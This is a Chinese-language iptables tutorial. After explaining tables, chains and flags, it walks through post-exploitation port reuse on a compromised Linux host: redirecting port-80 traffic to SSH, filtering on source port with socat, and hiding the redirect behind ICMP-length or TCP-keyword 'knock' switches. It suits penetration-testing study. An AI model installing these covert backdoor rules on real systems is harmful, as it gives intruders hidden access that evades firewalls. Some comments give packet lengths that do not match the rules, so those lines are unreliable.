Linux利用iptables做端口復用
iptables基礎
我們自定義的所有規則,都是這四種分類中的規則,或者說,所有規則都存在于這4張”表”中
#1 主動
包含4個表:4個表的優先級由高到低:raw-->mangle-->nat-->filter
#1.1 raw
RAW表只使用在PREROUTING鏈和OUTPUT鏈上,因為優先級最高,從而可以對收到的數據包在連接跟蹤前進行處理。一但用戶使用了RAW表,在某個鏈上,RAW表處理完后,將跳過NAT表和ip_conntrack處理,即不再做地址轉換和數據包的鏈接跟蹤處理了
#1.2 mangle
此規則表擁有prerouting、FORWARD、postrouting三個規則鏈,除了進行網址轉譯工作會改寫封包外,在某些特殊應用可能也必須去改寫封包(ITL、TOS)或者是設定MARK(將封包作記號,以進行后續的過濾)這時就必須將這些工作定義在mangles規則表中
#1.3 nat
此規則表擁有prerouting和postrouting兩個規則鏈, 主要功能為進行一對一、一對多、多對多等網址轉譯工作(SNATDNAT)
#1.4 filter
這個規則表是預設規則表,擁有 INPUT、FORWARD 和 OUTPUT 三個規則鏈;負責過濾功能,防火墻;內核模塊:iptables_filter
#2 常用命令和參數
舉例:iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --dport 80 -j REDIRECT --to-port 22 常用命令:-A 追加規則-->iptables -A INPUT -D 刪除規則-->iptables -D INPUT 1(編號) -R 修改規則-->iptables -R INPUT 1 -s 192.168.12.0 -j DROP 取代現行規則,順序不變(1是位置) -I 插入規則-->iptables -I INPUT 1 --dport 80 -j ACCEPT 插入一條規則,原本位置上的規則將會往后移動一個順位 -L 查看規則-->iptables -L INPUT 列出規則鏈中的所有規則 -N 新的規則-->iptables -N allowed 定義新的規則 -t 指定nat就看nat表信息,不用-t 默認filter表 -n 使輸出中的IP地址和端口以數值的形式顯示 -V 輸出詳細化 --line 顯示出每條規則在相應鏈中的序號 通用參數:-p 協議 例:iptables -A INPUT -p tcp -s源地址 例:iptables -A INPUT -s 192.168.1.1 -d目的地址 例:iptables -A INPUT -d 192.168.12.1 -sport源端口 例:iptables -A INPUT -p tcp --sport 22 -dport目的端口 例:iptables -A INPUT -p tcp --dport 22 -i指定入口網卡 例:iptables -A INPUT -i eth0 -o指定出口網卡 例:iptables -A FORWARD -o eth0
#2.1 舉例
iptables -t nat -nL --line

注釋:
PREROUTING鏈:PREROUTING鏈的作用是在包剛剛到達防火墻時改變它的目的地址,是從外部連接過來時的轉發
OUTPUT鏈:OUTPUT鏈改變本地產生的包的目的地址,是本機連接時的轉發
POSTROUTING鏈:POSTROUTING鏈在包就要離開防火墻之前改變其源地址
利用情況
在做滲透測試的過程中,我們經常會遇到下面這種問題:
目標主機是Linux系統,目標主機防火墻有嚴格的限制,只允許80端口的流量進入。我們拿到了目標主機的Webshell并且拿到了SSH的賬號密碼,但因為防火墻限制不能連接22端口,這時就需要利用80端口做端口復用連接。
現在我們的思路就是利用Linux的iptables防火墻的nat表的PREROUTING 鏈做端口復用,因為nat 表的 PREROUTING 鏈會在路由決策之前被處理
實際利用

Kali:192.168.152.250
目標機:192.168.152.135
#1 根據源地址做端口復用
#1.1目標機執行以下命令
iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --dport 80 -j REDIRECT --to-port 22 //將192.168.152.250訪問80端口的流量都重定向到22端口 iptables -t nat -nvL //查看規則
#1.2kali上執行命令
ssh -p 80 root@192.168.152.135
#1.3缺點
訪問目標主機80端口的流量都會被轉給22端口,所以HTTP服務無法訪問

#2 根據源地址做端口復用
#2.1目標機執行以下命令
iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --sport 5555 --dport 80 -j REDIRECT --to-port 22 //指定來自192.168.152.250主機的5555端口訪問80端口的流量才會被轉給22端口 iptables -t nat -nvL

#2.2kali上執行命令
用socat將本地4444端口的流量以源端口5555訪問192.168.152.135:80,然后SSH本地的4444端口即可
nohup socat tcp-listen:4444,fork,reuseaddr tcp:192.168.152.135:80,sourceport=5555,reuseaddr

ssh -p 4444 root@127.0.0.1
#2.3缺點
不支持多連接 如果想創建兩個 SSH 連接就會出錯,因為本地的 5555 端口已經被第一個 SSH 連接占用了
#3 利用ICMP協議做遙控開關
#3.1創建端口復用鏈及規則
iptables -t nat -N LETMEIN //創建端口復用鏈 iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 //創建端口復用規則,將流量轉發至 22 端口 iptables -t nat -nvL

#3.2創建開關
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1028 -m recent --set --name letmein --rsource -j ACCEPT //開啟開關,如果接收到一個長為 1139 的 ICMP 包,則將來源 IP 添加到加為letmein的列表中 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1029 -m recent --name letmein --remove -j ACCEPT //關閉開關,如果接收到一個長為 1140 的 ICMP 包,則將來源 IP 從 letmein 列表中去掉 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN //如果發現 SYN 包的來源 IP 處于 letmein 列表中,將跳轉到 LETMEIN 鏈進行處理,有效時間為 3600 秒

#3.3kali上執行命令
開啟復用
ping -c 1 -s 1000 192.168.152.135 //向目標發送一個長度為 1000 的 ICMP 數據包(加上包頭28,總長度實際為1028,對應上上面設置的開啟長度1028)

關閉復用
ping -c 1 -s 1001 192.168.152.135 //向目標發送一個長度為 1001 的 ICMP 數據包(加上包頭28,總長度實際為1029,對應上上面設置的關閉長度1029)
#3.4缺點
如果目標在內網,你是無法直接 ping 到它的
#4 利用TCP協議做遙控開關
利用 tcp 數據包中的關鍵字做遙控開關,不怕目標在內網
#4.1創建端口復用鏈及規則
iptables -t nat -N LETMEIN //創建端口復用鏈 iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 //創建端口復用規則,將流量轉發至 22 端口 iptables -t nat -nvL

#4.2創建開關
iptables -A INPUT -p tcp -m string --string 'go' --algo bm -m recent --set --name letmein --rsource -j ACCEPT //開啟開關,如果接收到一個含有 go 的TCP包,則將來源 IP 添加到加為letmein的列表中 iptables -A INPUT -p tcp -m string --string 'out' --algo bm -m recent --name letmein --remove -j ACCEPT //關閉開關,如果接收到一個含有 out 的TCP包,則將來源 IP 從letmein的列表中移除 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN //如果發現 SYN 包的來源 IP 處于 letmein 列表中,將跳轉到 LETMEIN 鏈進行處理,有效時間為 3600 秒

#4.3kali上執行命令
開啟復用
echo go | socat - tcp:192.168.152.135:80

關閉復用
echo out | socat - tcp:192.168.152.135:80
